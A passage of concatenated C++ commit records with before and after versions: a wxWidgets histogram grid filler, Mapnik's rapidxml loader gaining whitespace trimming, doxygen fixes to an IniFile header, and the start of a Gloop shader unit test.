) || !commStat && myHistogram->endCell( iCol, curPlane ) ) gridHisto->SetCellValue( iRow, iCol, wxString( "-" ) ); else { if( commStat ) { if( myHistogram->getCommCurrentRow( iCol, curPlane ) == iRow ) { ostringstream tmpStr; tmpStr << myHistogram->getCommCurrentValue( iCol, idStat, curPlane ); gridHisto->SetCellValue( iRow, iCol, wxString( tmpStr.str() ) ); myHistogram->setCommNextCell( iCol, curPlane ); } else gridHisto->SetCellValue( iRow, iCol, wxString( "-" ) ); } else { if( myHistogram->getCurrentRow( iCol, curPlane ) == iRow ) { ostringstream tmpStr; tmpStr << myHistogram->getCurrentValue( iCol, idStat, curPlane ); gridHisto->SetCellValue( iRow, iCol, wxString( tmpStr.str() ) ); myHistogram->setNextCell( iCol, curPlane ); } else gridHisto->SetCellValue( iRow, iCol, wxString( "-" ) ); } } } } gridHisto->SetRowLabelSize( rowLabelWidth ); gridHisto->Fit(); gridHisto->AutoSize(); gridHisto->EndBatch(); } /*! * Should we show tooltips? */ bool gHistogram::ShowToolTips() { return true; } /*! * Get bitmap resources */ wxBitmap gHistogram::GetBitmapResource( const wxString& name ) { // Bitmap retrieval ////@begin gHistogram bitmap retrieval wxUnusedVar(name); return wxNullBitmap; ////@end gHistogram bitmap retrieval } /*! * Get icon resources */ wxIcon gHistogram::GetIconResource( const wxString& name ) { // Icon retrieval ////@begin gHistogram icon retrieval wxUnusedVar(name); return wxNullIcon; ////@end gHistogram icon retrieval } <commit_msg>*** empty log message ***<commit_after>///////////////////////////////////////////////////////////////////////////// // Name: ghistogram.cpp // Purpose: // Author: Eloy Martinez // Modified by: // Created: Mon 23 Jun 2008 11:40:03 CEST // RCS-ID: // Copyright: // Licence: ///////////////////////////////////////////////////////////////////////////// // For compilers that support precompilation, includes "wx/wx.h". #include "wx/wxprec.h" #ifdef __BORLANDC__ #pragma hdrstop #endif #ifndef WX_PRECOMP #include "wx/wx.h" #endif ////@begin includes ////@end includes #include <sstream> #include "ghistogram.h" #include "histogram.h" #include "labelconstructor.h" ////@begin XPM images ////@end XPM images /*! * gHistogram type definition */ IMPLEMENT_CLASS( gHistogram, wxFrame ) /*! * gHistogram event table definition */ BEGIN_EVENT_TABLE( gHistogram, wxFrame ) ////@begin gHistogram event table entries ////@end gHistogram event table entries END_EVENT_TABLE() /*! * gHistogram constructors */ gHistogram::gHistogram() { Init(); } gHistogram::gHistogram( wxWindow* parent, wxWindowID id, const wxString& caption, const wxPoint& pos, const wxSize& size, long style ) { Init(); Create( parent, id, caption, pos, size, style ); } /*! * gHistogram creator */ bool gHistogram::Create( wxWindow* parent, wxWindowID id, const wxString& caption, const wxPoint& pos, const wxSize& size, long style ) { ////@begin gHistogram creation wxFrame::Create( parent, id, caption, pos, size, style ); CreateControls(); ////@end gHistogram creation return true; } /*! * gHistogram destructor */ gHistogram::~gHistogram() { ////@begin gHistogram destruction ////@end gHistogram destruction } /*! * Member initialisation */ void gHistogram::Init() { ////@begin gHistogram member initialisation myHistogram = NULL; gridHisto = NULL; ////@end gHistogram member initialisation } /*! * Control creation for gHistogram */ void gHistogram::CreateControls() { ////@begin gHistogram content construction gHistogram* itemFrame1 = this; gridHisto = new wxGrid( itemFrame1, ID_GRIDHISTO, wxDefaultPosition, itemFrame1->ConvertDialogToPixels(wxSize(200, 150)), wxHSCROLL|wxVSCROLL|wxALWAYS_SHOW_SB ); gridHisto->SetDefaultColSize(50); gridHisto->SetDefaultRowSize(25); gridHisto->SetColLabelSize(25); gridHisto->SetRowLabelSize(50); gridHisto->CreateGrid(5, 5, wxGrid::wxGridSelectCells); ////@end gHistogram content construction } void gHistogram::execute() { if( myHistogram == NULL ) return; myHistogram->execute( myHistogram->getBeginTime(), myHistogram->getEndTime() ); fillGrid(); } void gHistogram::fillGrid() { int rowLabelWidth = 0; wxFont labelFont = gridHisto->GetLabelFont(); bool commStat = myHistogram->itsCommunicationStat( myHistogram->getCurrentStat() ); UINT16 idStat; THistogramColumn curPlane; if( !myHistogram->getIdStat( myHistogram->getCurrentStat(), idStat ) ) throw( exception() ); if( commStat ) curPlane = myHistogram->getCommSelectedPlane(); else curPlane = myHistogram->getSelectedPlane(); gridHisto->BeginBatch(); gridHisto->DeleteCols( 0, gridHisto->GetNumberCols() ); gridHisto->DeleteRows( 0, gridHisto->GetNumberRows() ); gridHisto->AppendCols( myHistogram->getNumColumns() ); gridHisto->AppendRows( myHistogram->getNumRows() ); for( THistogramColumn iCol = 0; iCol < myHistogram->getNumColumns(); iCol++ ) { if( commStat ) { gridHisto->SetColLabelValue( iCol, myHistogram->getRowLabel( iCol ) ); myHistogram->setCommFirstCell( iCol, curPlane ); } else { gridHisto->SetColLabelValue( iCol, myHistogram->getColumnLabel( iCol ) ); myHistogram->setFirstCell( iCol, curPlane ); } for( TObjectOrder iRow = 0; iRow < myHistogram->getNumRows(); iRow++ ) { int w, h; gridHisto->GetTextExtent( myHistogram->getRowLabel( iCol ), &w, &h, NULL, NULL, &labelFont ); if( rowLabelWidth == 0 || rowLabelWidth < w ) rowLabelWidth = w; gridHisto->SetRowLabelValue( iRow, myHistogram->getRowLabel( iRow ) ); if( commStat && myHistogram->endCommCell( iCol, curPlane ) || !commStat && myHistogram->endCell( iCol, curPlane ) ) gridHisto->SetCellValue( iRow, iCol, wxString( "-" ) ); else { if( commStat ) { if( myHistogram->getCommCurrentRow( iCol, curPlane ) == iRow ) { string tmpStr; tmpStr = LabelConstructor::histoCellLabel( myHistogram, myHistogram->getCommCurrentValue( iCol, idStat, curPlane ) ); gridHisto->SetCellValue( iRow, iCol, wxString( tmpStr ) ); myHistogram->setCommNextCell( iCol, curPlane ); } else gridHisto->SetCellValue( iRow, iCol, wxString( "-" ) ); } else { if( myHistogram->getCurrentRow( iCol, curPlane ) == iRow ) { string tmpStr; tmpStr = LabelConstructor::histoCellLabel( myHistogram, myHistogram->getCurrentValue( iCol, idStat, curPlane ) ); gridHisto->SetCellValue( iRow, iCol, wxString( tmpStr ) ); myHistogram->setNextCell( iCol, curPlane ); } else gridHisto->SetCellValue( iRow, iCol, wxString( "-" ) ); } } } } gridHisto->SetRowLabelSize( rowLabelWidth ); gridHisto->Fit(); gridHisto->AutoSize(); gridHisto->EndBatch(); } /*! * Should we show tooltips? */ bool gHistogram::ShowToolTips() { return true; } /*! * Get bitmap resources */ wxBitmap gHistogram::GetBitmapResource( const wxString& name ) { // Bitmap retrieval ////@begin gHistogram bitmap retrieval wxUnusedVar(name); return wxNullBitmap; ////@end gHistogram bitmap retrieval } /*! * Get icon resources */ wxIcon gHistogram::GetIconResource( const wxString& name ) { // Icon retrieval ////@begin gHistogram icon retrieval wxUnusedVar(name); return wxNullIcon; ////@end gHistogram icon retrieval } <|endoftext|>
<commit_before>/***************************************************************************** * * This file is part of Mapnik (c++ mapping toolkit) * * Copyright (C) 2014 Artem Pavlenko * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA * *****************************************************************************/ #ifdef HAVE_LIBXML2 #error HAVE_LIBXML2 defined but compiling rapidxml_loader.cpp! #endif // mapnik #include <mapnik/config_error.hpp> #include <mapnik/util/fs.hpp> #include <mapnik/xml_loader.hpp> #include <boost/property_tree/detail/xml_parser_read_rapidxml.hpp> #include <mapnik/xml_node.hpp> #include <mapnik/util/trim.hpp> #include <mapnik/util/noncopyable.hpp> #include <mapnik/util/utf_conv_win.hpp> // stl #include <iostream> #include <fstream> namespace rapidxml = boost::property_tree::detail::rapidxml; namespace mapnik { class rapidxml_loader : util::noncopyable { public: rapidxml_loader() : filename_() {} ~rapidxml_loader() {} void load(std::string const& filename, xml_node & node) { if (!mapnik::util::exists(filename)) { throw config_error(std::string("Could not load map file: File does not exist"), 0, filename); } filename_ = filename; #ifdef _WINDOWS std::basic_ifstream<char> stream(mapnik::utf8_to_utf16(filename)); #else std::basic_ifstream<char> stream(filename.c_str()); #endif if (!stream) { throw config_error("Could not load map file", 0, filename); } stream.unsetf(std::ios::skipws); std::vector<char> v(std::istreambuf_iterator<char>(stream.rdbuf()), std::istreambuf_iterator<char>()); if (!stream.good()) { throw config_error("Could not load map file", 0, filename_); } v.push_back(0); // zero-terminate load_array(v, node); } template <typename T> void load_array(T && array, xml_node & node) { try { // Parse using appropriate flags // https://github.com/mapnik/mapnik/issues/1856 // const int f_tws = rapidxml::parse_normalize_whitespace; const int f_tws = rapidxml::parse_trim_whitespace | rapidxml::parse_validate_closing_tags; rapidxml::xml_document<> doc; doc.parse<f_tws>(&array.front()); for (rapidxml::xml_node<char> *child = doc.first_node(); child; child = child->next_sibling()) { populate_tree(child, node); } } catch (rapidxml::parse_error const& e) { long line = static_cast<long>( std::count(&array.front(), e.where<char>(), '\n') + 1); throw config_error(e.what(), line, filename_); } } void load_string(std::string const& buffer, xml_node & node, std::string const & ) { // Note: base_path ignored because its not relevant - only needed for xml2 to load entities (see libxml2_loader.cpp) load_array(std::string(buffer), node); } private: void populate_tree(rapidxml::xml_node<char> *cur_node, xml_node & node) { switch (cur_node->type()) { case rapidxml::node_element: { xml_node & new_node = node.add_child(cur_node->name(), 0, false); // Copy attributes for (rapidxml::xml_attribute<char> *attr = cur_node->first_attribute(); attr; attr = attr->next_attribute()) { new_node.add_attribute(attr->name(), attr->value()); } // Copy children for (rapidxml::xml_node<char> *child = cur_node->first_node(); child; child = child->next_sibling()) { populate_tree(child, new_node); } } break; // Data nodes case rapidxml::node_data: case rapidxml::node_cdata: { if (cur_node->value_size() > 0) // Don't add empty text nodes { node.add_child(cur_node->value(), 0, true); } } break; default: break; } } private: std::string filename_; }; void read_xml(std::string const& filename, xml_node & node) { rapidxml_loader loader; loader.load(filename, node); } void read_xml_string(std::string const& str, xml_node & node, std::string const& base_path) { rapidxml_loader loader; loader.load_string(str, node, base_path); } } // end of namespace mapnik <commit_msg>Trim whitespace in rapidxml parser text nodes.<commit_after>/***************************************************************************** * * This file is part of Mapnik (c++ mapping toolkit) * * Copyright (C) 2014 Artem Pavlenko * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA * *****************************************************************************/ #ifdef HAVE_LIBXML2 #error HAVE_LIBXML2 defined but compiling rapidxml_loader.cpp! #endif // mapnik #include <mapnik/config_error.hpp> #include <mapnik/util/fs.hpp> #include <mapnik/xml_loader.hpp> #include <boost/property_tree/detail/xml_parser_read_rapidxml.hpp> #include <mapnik/xml_node.hpp> #include <mapnik/util/trim.hpp> #include <mapnik/util/noncopyable.hpp> #include <mapnik/util/utf_conv_win.hpp> // stl #include <iostream> #include <fstream> namespace rapidxml = boost::property_tree::detail::rapidxml; namespace mapnik { class rapidxml_loader : util::noncopyable { public: rapidxml_loader() : filename_() {} ~rapidxml_loader() {} void load(std::string const& filename, xml_node & node) { if (!mapnik::util::exists(filename)) { throw config_error(std::string("Could not load map file: File does not exist"), 0, filename); } filename_ = filename; #ifdef _WINDOWS std::basic_ifstream<char> stream(mapnik::utf8_to_utf16(filename)); #else std::basic_ifstream<char> stream(filename.c_str()); #endif if (!stream) { throw config_error("Could not load map file", 0, filename); } stream.unsetf(std::ios::skipws); std::vector<char> v(std::istreambuf_iterator<char>(stream.rdbuf()), std::istreambuf_iterator<char>()); if (!stream.good()) { throw config_error("Could not load map file", 0, filename_); } v.push_back(0); // zero-terminate load_array(v, node); } template <typename T> void load_array(T && array, xml_node & node) { try { // Parse using appropriate flags // https://github.com/mapnik/mapnik/issues/1856 // const int f_tws = rapidxml::parse_normalize_whitespace; const int f_tws = rapidxml::parse_trim_whitespace | rapidxml::parse_validate_closing_tags; rapidxml::xml_document<> doc; doc.parse<f_tws>(&array.front()); for (rapidxml::xml_node<char> *child = doc.first_node(); child; child = child->next_sibling()) { populate_tree(child, node); } } catch (rapidxml::parse_error const& e) { long line = static_cast<long>( std::count(&array.front(), e.where<char>(), '\n') + 1); throw config_error(e.what(), line, filename_); } } void load_string(std::string const& buffer, xml_node & node, std::string const & ) { // Note: base_path ignored because its not relevant - only needed for xml2 to load entities (see libxml2_loader.cpp) load_array(std::string(buffer), node); } private: void populate_tree(rapidxml::xml_node<char> *cur_node, xml_node & node) { switch (cur_node->type()) { case rapidxml::node_element: { xml_node & new_node = node.add_child(cur_node->name(), 0, false); // Copy attributes for (rapidxml::xml_attribute<char> *attr = cur_node->first_attribute(); attr; attr = attr->next_attribute()) { new_node.add_attribute(attr->name(), attr->value()); } // Copy children for (rapidxml::xml_node<char> *child = cur_node->first_node(); child; child = child->next_sibling()) { populate_tree(child, new_node); } } break; // Data nodes case rapidxml::node_data: case rapidxml::node_cdata: { if (cur_node->value_size() > 0) // Don't add empty text nodes { // parsed text values should have leading and trailing // whitespace trimmed. std::string trimmed = cur_node->value(); mapnik::util::trim(trimmed); node.add_child(trimmed.c_str(), 0, true); } } break; default: break; } } private: std::string filename_; }; void read_xml(std::string const& filename, xml_node & node) { rapidxml_loader loader; loader.load(filename, node); } void read_xml_string(std::string const& str, xml_node & node, std::string const& base_path) { rapidxml_loader loader; loader.load_string(str, node, base_path); } } // end of namespace mapnik <|endoftext|>
<commit_before>/* * Copyright (c) 2003 The Regents of The University of Michigan * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer; * redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution; * neither the name of the copyright holders nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef __INIFILE_HH__ #define __INIFILE_HH__ #include <fstream> #include <list> #include <string> #include <vector> #include "base/hashmap.hh" /// /// @file /// Declaration of IniFile object. /// /// /// This class represents the contents of a ".ini" file. /// /// It's basically a two level lookup table: a set of named sections, /// where each section is a set of key/value pairs. Section names, /// keys, and values are all uninterpreted strings. /// class IniFile { protected: /// /// A single key/value pair. /// class Entry { std::string value; ///< The entry value. mutable bool referenced; ///< Has this entry been used? public: /// Constructor. Entry(const std::string &v) : value(v), referenced(false) { } /// Has this entry been used? bool isReferenced() { return referenced; } /// Fetch the value. const std::string &getValue() const; /// Set the value. void setValue(const std::string &v) { value = v; } /// Append the given string to the value. A space is inserted /// between the existing value and the new value. Since this /// operation is typically used with values that are /// space-separated lists of tokens, this keeps the tokens /// separate. void appendValue(const std::string &v) { value += " "; value += v; } }; /// /// A section. /// class Section { /// EntryTable type. Map of strings to Entry object pointers. typedef m5::hash_map<std::string, Entry *> EntryTable; EntryTable table; ///< Table of entries. mutable bool referenced; ///< Has this section been used? public: /// Constructor. Section() : table(), referenced(false) { } /// Has this section been used? bool isReferenced() { return referenced; } /// Add an entry to the table. If an entry with the same name /// already exists, the 'append' parameter is checked If true, /// the new value will be appended to the existing entry. If /// false, the new value will replace the existing entry. void addEntry(const std::string &entryName, const std::string &value, bool append); /// Add an entry to the table given a string assigment. /// Assignment should be of the form "param=value" or /// "param+=value" (for append). This funciton parses the /// assignment statment and calls addEntry(). /// @retval True for success, false if parse error. bool add(const std::string &assignment); /// Find the entry with the given name. /// @retval Pointer to the entry object, or NULL if none. Entry *findEntry(const std::string &entryName) const; /// Print the unreferenced entries in this section to cerr. /// Messages can be suppressed using "unref_section_ok" and /// "unref_entries_ok". /// @param sectionName Name of this section, for use in output message. /// @retval True if any entries were printed. bool printUnreferenced(const std::string &sectionName); /// Print the contents of this section to cout (for debugging). void dump(const std::string &sectionName); }; /// SectionTable type. Map of strings to Section object pointers. typedef m5::hash_map<std::string, Section *> SectionTable; protected: /// Hash of section names to Section object pointers. SectionTable table; /// Look up section with the given name, creating a new section if /// not found. /// @retval Pointer to section object. Section *addSection(const std::string &sectionName); /// Look up section with the given name. /// @retval Pointer to section object, or NULL if not found. Section *findSection(const std::string &sectionName) const; /// Load parameter settings from given istream. This is a helper /// function for load(string) and loadCPP(), which open a file /// and then pass it here. /// @retval True if successful, false if errors were encountered. bool load(std::istream &f); public: /// Constructor. IniFile(); /// Destructor. ~IniFile(); /// Load the specified file, passing it through the C preprocessor. /// Parameter settings found in the file will be merged with any /// already defined in this object. /// @param file The path of the file to load. /// @param cppFlags Vector of extra flags to pass to cpp. /// @retval True if successful, false if errors were encountered. bool loadCPP(const std::string &file, std::vector<char *> &cppFlags); /// Load the specified file. /// Parameter settings found in the file will be merged with any /// already defined in this object. /// @param file The path of the file to load. /// @retval True if successful, false if errors were encountered. bool load(const std::string &file); /// Take string of the form "<section>:<parameter>=<value>" or /// "<section>:<parameter>+=<value>" and add to database. /// @retval True if successful, false if parse error. bool add(const std::string &s); /// Find value corresponding to given section and entry names. /// Value is returned by reference in 'value' param. /// @retval True if found, false if not. bool find(const std::string &section, const std::string &entry, std::string &value) const; /// Find value corresponding to given section and entry names, /// following "default" links to other sections where possible. /// Value is returned by reference in 'value' param. /// @retval True if found, false if not. bool findDefault(const std::string &section, const std::string &entry, std::string &value) const; bool findAppend(const std::string &section, const std::string &entry, std::string &value) const; /// Print unreferenced entries in object. Iteratively calls /// printUnreferend() on all the constituent sections. bool printUnreferenced(); /// Dump contents to cout. For debugging. void dump(); }; #endif // __INIFILE_HH__ <commit_msg>Clear up doxygen warnings and serialize ScsiCtrl. We probably shouldn't decfine functions using type defs ala "RegFile" instead of "AlphaISA::RegFile".<commit_after>/* * Copyright (c) 2003 The Regents of The University of Michigan * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer; * redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution; * neither the name of the copyright holders nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef __INIFILE_HH__ #define __INIFILE_HH__ #include <fstream> #include <list> #include <string> #include <vector> #include "base/hashmap.hh" /** * @file * Declaration of IniFile object. * @todo Change comments to match documentation style. */ /// /// This class represents the contents of a ".ini" file. /// /// It's basically a two level lookup table: a set of named sections, /// where each section is a set of key/value pairs. Section names, /// keys, and values are all uninterpreted strings. /// class IniFile { protected: /// /// A single key/value pair. /// class Entry { std::string value; ///< The entry value. mutable bool referenced; ///< Has this entry been used? public: /// Constructor. Entry(const std::string &v) : value(v), referenced(false) { } /// Has this entry been used? bool isReferenced() { return referenced; } /// Fetch the value. const std::string &getValue() const; /// Set the value. void setValue(const std::string &v) { value = v; } /// Append the given string to the value. A space is inserted /// between the existing value and the new value. Since this /// operation is typically used with values that are /// space-separated lists of tokens, this keeps the tokens /// separate. void appendValue(const std::string &v) { value += " "; value += v; } }; /// /// A section. /// class Section { /// EntryTable type. Map of strings to Entry object pointers. typedef m5::hash_map<std::string, Entry *> EntryTable; EntryTable table; ///< Table of entries. mutable bool referenced; ///< Has this section been used? public: /// Constructor. Section() : table(), referenced(false) { } /// Has this section been used? bool isReferenced() { return referenced; } /// Add an entry to the table. If an entry with the same name /// already exists, the 'append' parameter is checked If true, /// the new value will be appended to the existing entry. If /// false, the new value will replace the existing entry. void addEntry(const std::string &entryName, const std::string &value, bool append); /// Add an entry to the table given a string assigment. /// Assignment should be of the form "param=value" or /// "param+=value" (for append). This funciton parses the /// assignment statment and calls addEntry(). /// @retval True for success, false if parse error. bool add(const std::string &assignment); /// Find the entry with the given name. /// @retval Pointer to the entry object, or NULL if none. Entry *findEntry(const std::string &entryName) const; /// Print the unreferenced entries in this section to cerr. /// Messages can be suppressed using "unref_section_ok" and /// "unref_entries_ok". /// @param sectionName Name of this section, for use in output message. /// @retval True if any entries were printed. bool printUnreferenced(const std::string &sectionName); /// Print the contents of this section to cout (for debugging). void dump(const std::string &sectionName); }; /// SectionTable type. Map of strings to Section object pointers. typedef m5::hash_map<std::string, Section *> SectionTable; protected: /// Hash of section names to Section object pointers. SectionTable table; /// Look up section with the given name, creating a new section if /// not found. /// @retval Pointer to section object. Section *addSection(const std::string &sectionName); /// Look up section with the given name. /// @retval Pointer to section object, or NULL if not found. Section *findSection(const std::string &sectionName) const; /// Load parameter settings from given istream. This is a helper /// function for load(string) and loadCPP(), which open a file /// and then pass it here. /// @retval True if successful, false if errors were encountered. bool load(std::istream &f); public: /// Constructor. IniFile(); /// Destructor. ~IniFile(); /// Load the specified file, passing it through the C preprocessor. /// Parameter settings found in the file will be merged with any /// already defined in this object. /// @param file The path of the file to load. /// @param cppFlags Vector of extra flags to pass to cpp. /// @retval True if successful, false if errors were encountered. bool loadCPP(const std::string &file, std::vector<char *> &cppFlags); /// Load the specified file. /// Parameter settings found in the file will be merged with any /// already defined in this object. /// @param file The path of the file to load. /// @retval True if successful, false if errors were encountered. bool load(const std::string &file); /// Take string of the form "<section>:<parameter>=<value>" or /// "<section>:<parameter>+=<value>" and add to database. /// @retval True if successful, false if parse error. bool add(const std::string &s); /// Find value corresponding to given section and entry names. /// Value is returned by reference in 'value' param. /// @retval True if found, false if not. bool find(const std::string &section, const std::string &entry, std::string &value) const; /// Find value corresponding to given section and entry names, /// following "default" links to other sections where possible. /// Value is returned by reference in 'value' param. /// @return True if found, false if not. bool findDefault(const std::string &section, const std::string &entry, std::string &value) const; /** * Find a value corresponding to the given section and entry names * following "append" links to other sections where possible. * @param section The section to start with. * @param entry The entry to find. * @param value The value found. * @return True if the entry was found. */ bool findAppend(const std::string &section, const std::string &entry, std::string &value) const; /// Print unreferenced entries in object. Iteratively calls /// printUnreferend() on all the constituent sections. bool printUnreferenced(); /// Dump contents to cout. For debugging. void dump(); }; #endif // __INIFILE_HH__ <|endoftext|>
<commit_before>/* * Copyright (c) 2012, Andrew Brown * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #include "config.h" #include <cppunit/extensions/HelperMacros.h> #include <stdexcept> #include "gloop/Shader.hxx" #include <GL/glfw.h> using namespace std; using namespace Gloop; /** * Unit test for Shader. */ class ShaderTest { public: /** * Ensures a bad fragment shader does not compile correctly. */ void testCompileWithBadFragmentShader() { const Shader shader = Shader::create(GL_FRAGMENT_SHADER); shader.source( "#version 140\n" "out vec4 FragColor;\n" "void main() {\n" " FragColor = vec4(1)\n" "}\n"); shader.compile(); CPPUNIT_ASSERT(!shader.compiled()); } /** * Ensures a good fragment shader compiles correctly. */ void testCompileWithGoodFragmentShader() { const Shader shader = Shader::create(GL_FRAGMENT_SHADER); shader.source( "#version 140\n" "out vec4 FragColor;\n" "void main() {\n" " FragColor = vec4(1);\n" "}\n"); shader.compile(); CPPUNIT_ASSERT(shader.compiled()); } /** * Ensures a bad vertex shader does not compile correctly. */ void testCompileWithBadVertexShader() { const Shader shader = Shader::create(GL_VERTEX_SHADER); shader.source( "#version 140\n" "in vec4 MCVertex;\n" "void main() {\n" " gl_FragColor = MCVertex;\n" "}\n"); shader.compile(); CPPUNIT_ASSERT(!shader.compiled()); } /** * Ensures a good vertex shader compiles correctly. */ void testCompileWithGoodVertexShader() { const Shader shader = Shader::create(GL_VERTEX_SHADER); shader.source( "#version 140\n" "in vec4 MCVertex;\n" "void main() {\n" " gl_Position = MCVertex;\n" "}\n"); shader.compile(); CPPUNIT_ASSERT(shader.compiled()); } /** * Ensures making a new fragment shader works. */ void testCreateWithFragmentShader() { const Shader shader = Shader::create(GL_FRAGMENT_SHADER); const GLenum error = glGetError(); CPPUNIT_ASSERT_EQUAL((GLenum) GL_NO_ERROR, error); shader.dispose(); } /** * Ensures making a new geometry shader works. */ void testCreateWithGeometryShader() { const Shader shader = Shader::create(GL_GEOMETRY_SHADER); const GLenum error = glGetError(); CPPUNIT_ASSERT_EQUAL((GLenum) GL_NO_ERROR, error); shader.dispose(); } /** * Ensures making a new vertex shader works. */ void testCreateWithVertexShader() { const Shader shader = Shader::create(GL_VERTEX_SHADER); const GLenum error = glGetError(); CPPUNIT_ASSERT_EQUAL((GLenum) GL_NO_ERROR, error); shader.dispose(); } /** * Ensures id returns a valid ID with a fragment shader. */ void testIdWithFragmentShader() { const Shader shader = Shader::create(GL_FRAGMENT_SHADER); CPPUNIT_ASSERT(shader.id() > 0); } /** * Ensures id returns a valid ID with a geometry shader. */ void testIdWithGeometryShader() { const Shader shader = Shader::create(GL_GEOMETRY_SHADER); CPPUNIT_ASSERT(shader.id() > 0); } /** * Ensures id returns a valid ID with a vertex shader. */ void testIdWithVertexShader() { const Shader shader = Shader::create(GL_VERTEX_SHADER); CPPUNIT_ASSERT(shader.id() > 0); } /** * Ensures compiling a bad fragment shader generates a log. */ void testLogWithBadFragmentShader() { const Shader shader = Shader::create(GL_FRAGMENT_SHADER); shader.source( "#version 140\n" "out vec4 FragColor;\n" "void main() {\n" " FragColor = vec4(1)\n" "}\n"); shader.compile(); const string log = shader.log(); CPPUNIT_ASSERT(!log.empty()); } /** * Ensures compiling a good fragment shader generates an empty log. */ void testLogWithGoodFragmentShader() { const Shader shader = Shader::create(GL_FRAGMENT_SHADER); shader.source( "#version 140\n" "out vec4 FragColor;\n" "void main() {\n" " FragColor = vec4(1);\n" "}\n"); shader.compile(); const string log = shader.log(); CPPUNIT_ASSERT(log.empty()); } /** * Ensures compiling a bad vertex shader generates a log. */ void testLogWithBadVertexShader() { const Shader shader = Shader::create(GL_VERTEX_SHADER); shader.source( "#version 140\n" "in vec4 MCVertex;\n" "void main() {\n" " FragColor = MCVertex;\n" "}\n"); shader.compile(); const string log = shader.log(); CPPUNIT_ASSERT(!log.empty()); } /** * Ensures compiling a good vertex shader generates an empty log. */ void testLogWithGoodVertexShader() { const Shader shader = Shader::create(GL_VERTEX_SHADER); shader.source( "#version 140\n" "out vec4 MCVertex;\n" "void main() 